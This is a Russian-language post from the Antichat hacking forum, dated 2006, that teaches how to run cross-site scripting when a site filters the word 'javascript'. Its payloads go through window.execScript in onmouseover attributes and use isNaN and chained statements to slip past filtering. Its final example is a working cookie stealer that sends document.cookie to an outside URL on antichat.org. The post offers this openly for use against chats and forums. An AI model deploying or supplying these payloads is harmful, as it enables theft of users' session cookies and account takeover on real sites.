Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Проводим XSS без javascript |

04.02.2006, 06:32
|
|
Banned
Регистрация: 10.07.2005
Сообщений: 224
Провел на форуме: 1062041
Репутация:
50
|
|
Проводим XSS без javascript
Эту писанину трудно назвать статьей, она скоре является дополнением к написанному Algol'ом по XSS.
Думаю многим из вас приходилось встречать чаты/форумы/др. в которых присутвует уязвимость XSS, но провести ее сложно, по причине фильтрации магических слов javascript и vbscript, и модификации типа JaVasCriPt, javascript(с пробелами или табуляцией в начале),&#xx... и прочее не помогает. Так вот убедившись, что слово javascript наглухо фильтруется, есть возможность попробовать альтернативу execScript(это метод объекта window). Как написано в документации execScript - "Выполняет заданный сценарий".
Рассмотрим на простом примере:
Классический случай:
Код:
<font color=red onmouseover=javascript:alert()>алерт работает!</font>
Используем execScript:
Код:
<font color=red onmouseover=window.execScript(alert())>И тут работает!</font>
Эффект тот же=))
Но, видимо, популярность такого метода не такая высокая как у классического по причине есго кривости...изначально в документации синтаксис execScript выглядит так:window.execScript(выражение [,язык]), но в последних версиях IE execScript не поймет даже такую строку execScript("a=1;alert(a)"). Выяснено, что он категорически не любит пробелы кавычки и ряд других необходимых символов(например для угона кукисов).
Попробуйте:
Код:
<font color=red onmouseover=window.execScript(q="http://antichat.org/s/xex.gif?"+document.cookie)>не работает!</font>
Для решения первой проблемы(невозможность использовать несколько команд одновременно(execScript(a=1;alert(a))) мы используем следующую особенность:
Код:
<font color=red onmouseover=window.execScript(alert());window.execScript(alert())>Два алерта!</font>
т.е. через ; можем использовать несколько подряд идущих методов, что уже неплохо.
А для решения второй проблемы(его нелюбовь к кавычкам и прочим символам) используем такую замечательную вещь как функции, типа alert, eval, isNaN и возможно прочие. Из этих трех мне приглянулась isNaN. Назначение этих функций для нас не важно, вся фича в том, что эти функции неким магическим способом(кому надо сам разберется) позволяют нам творить невозможное=)
Смотрим:
Код:
<font color=red onmouseover=window.execScript(isNaN(q="http://antichat.org/s/we.gif?"+document.cookie));window.execScript(alert(q))>Получилось!</font>
Т.е. мы решили вторую проблему, таким образом мы создаем полноценную "куки-тырилку", несмотря на паранойю разработчика=))
P.S.Возможно это уже где-то описывалось, не встречал.
P.S.S.За всеми вопросами пишем сюда...
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|